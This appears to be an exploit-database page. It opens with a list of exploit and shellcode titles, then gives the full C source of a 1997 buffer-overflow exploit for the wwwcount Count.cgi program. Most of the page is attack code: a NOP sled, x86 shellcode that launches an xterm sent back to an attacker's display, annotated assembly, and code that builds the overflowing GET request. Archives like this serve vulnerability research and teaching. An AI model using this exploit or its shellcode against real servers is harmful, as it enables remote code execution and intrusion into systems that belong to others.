880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
178 lines
No EOL
6.4 KiB
C
178 lines
No EOL
6.4 KiB
C
// source: https://www.securityfocus.com/bid/128/info
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Wwwcount (count.cgi) is a very popular CGI program used to track website usage. In particular, it enumerates the number of hits on given webpages and increments them on a 'counter'. In October of 1997 two remotely exploitable problems were discovered with this program. The first problem was somewhat innocuous in that it only allowed remote users to view .GIF files they were not supposed to have access to. This may be dangerous if the site contains sensitive data in .GIF files such as demographic/financial data in charts etc.
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The second and most serious problem is a buffer overflow in QUERY_STRING enviroment variable handled by the program. In essence a remote user can send an overloy long query to the program and overflow a buffer in order to execute their own commands as whatever privelage level the program is running as.
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/*
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Count.cgi (wwwcount) linux test exploit
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(c) 05/1997 by plaguez - dube0866@eurobretagne.fr
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Contact me if you manage to improve this crap.
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This program needs drastic changes to be useable.
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If you can't understand how to modify it for your own purpose,
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please do not consider trying it.
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*/
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#include <stdio.h>
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#include <stdlib.h>
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char shell[]=
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
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"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
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"\x5e\x18\x88\x46\x2c\x88\x46\x30"
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"\x88\x46\x39\x88\x46\x4b\x8d\x56"
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"\x20\x89\x16\x8d\x56\x2d\x89\x56"
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"\x04\x8d\x56\x31\x89\x56\x08\x8d"
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"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
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"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
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"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
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"\xff\xff\xff\xff\xff\xff\xff\xff"
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"\xff\xff\xff\xff\xff\xff\xff\xff"
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"\xff\xff\xff\xff\xff\xff\xff\xff"
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"\xff\xff\xff"
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"/usr/X11R6/bin/xterm0-ut0-display0"
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"127.000.000.001:00"
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"\xff\xff\xff\xff\xff\xff\xff\xff"
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"\xff\xff\xff\xff\xff\xff\xff\xff"
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"\xff\xff\xff\xff\xff\xff\xff\xff"
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"\xff\xff\xff";
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/*
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Assembly stuff for the previous buffer.
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This basically implements an execve syscall, by creating
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an array of char* (needs to put a null byte at the end of
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all strings).
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Here we gonna exec an xterm and send it to our host.
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(you can't simply exec a shell due to the cgi proto).
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jmp 60
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popl %esi
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xorl %eax,%eax # efface eax
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movl %esi,%ecx # recupere l'adresse du buffer
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leal 0x18(%esi),%ebx # recupere l'adresse des chaines
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movb %al,0x2c(%esi) # cree les chaines azt
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movb %al,0x30(%esi) #
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movb %al,0x39(%esi)
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movb %al,0x4b(%esi)
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leal 0x20(%esi),%edx # cree le char**
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movl %edx,(%esi)
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leal 0x2d(%esi),%edx
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movl %edx,0x4(%esi)
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leal 0x31(%esi),%edx
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movl %edx,0x8(%esi)
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leal 0x3a(%esi),%edx
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movl %edx,0xc(%esi)
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leal 0x10(%esi),%edx
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movl %eax,0x10(%esi)
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movb $0xb,%al
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int $0x80 # passe en mode kernel
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xorl %ebx,%ebx # termine proprement (exit())
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movl %ebx,%eax # si jamais le execve() foire.
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inc %eax #
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int $0x80 #
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call -65 # retourne au popl en empilant l'adresse de la chaine
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.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
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.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
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.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
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.ascii \"/usr/X11R6/bin/xterm0\" # 44
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.ascii \"-ut0\" # 48
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.ascii \"-display0\" # 57 au ;
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.ascii \"127.000.000.001:00\" # 75 (total des chaines)
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.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
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.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
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...
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*/
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char qs[7000];
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char chaine[]="user=a";
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unsigned long getesp() {
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// asm("movl %esp,%eax");
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return 0xbfffee38;
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}
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void main(int argc, char **argv) {
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int compt;
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long stack;
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stack=getesp();
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if(argc>1)
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stack+=atoi(argv[1]);
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for(compt=0;compt<4104;compt+=4) {
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qs[compt+0] = stack & 0x000000ff;
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qs[compt+1] = (stack & 0x0000ff00) >> 8;
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qs[compt+2] = (stack & 0x00ff0000) >> 16;
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qs[compt+3] = (stack & 0xff000000) >> 24;
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}
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strcpy(qs,chaine);
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qs[strlen(chaine)]=0x90;
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qs[4104]= stack&0x000000ff;
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qs[4105]=(stack&0x0000ff00)>>8;
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qs[4106]=(stack&0x00ff0000)>>16;
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qs[4107]=(stack&0xff000000)>>24;
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qs[4108]= stack&0x000000ff;
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qs[4109]=(stack&0x0000ff00)>>8;
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qs[4110]=(stack&0x00ff0000)>>16;
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qs[4111]=(stack&0xff000000)>>24;
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qs[4112]= stack&0x000000ff;
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qs[4113]=(stack&0x0000ff00)>>8;
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qs[4114]=(stack&0x00ff0000)>>16;
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qs[4115]=(stack&0xff000000)>>24;
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qs[4116]= stack&0x000000ff;
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qs[4117]=(stack&0x0000ff00)>>8;
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qs[4118]=(stack&0x00ff0000)>>16;
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qs[4119]=(stack&0xff000000)>>24;
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qs[4120]= stack&0x000000ff;
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qs[4121]=(stack&0x0000ff00)>>8;
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qs[4122]=(stack&0x00ff0000)>>16;
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qs[4123]=(stack&0xff000000)>>24;
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qs[4124]= stack&0x000000ff;
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qs[4125]=(stack&0x0000ff00)>>8;
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qs[4126]=(stack&0x00ff0000)>>16;
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qs[4127]=(stack&0xff000000)>>24;
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qs[4128]= stack&0x000000ff;
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qs[4129]=(stack&0x0000ff00)>>8;
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qs[4130]=(stack&0x00ff0000)>>16;
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qs[4131]=(stack&0xff000000)>>24;
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strcpy((char*)&qs[4132],shell);
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/* Choose what to do here */
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printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
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/*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
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printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
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setenv("QUERY_STRING",qs,1);
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system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
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system("/bin/sh");*/ |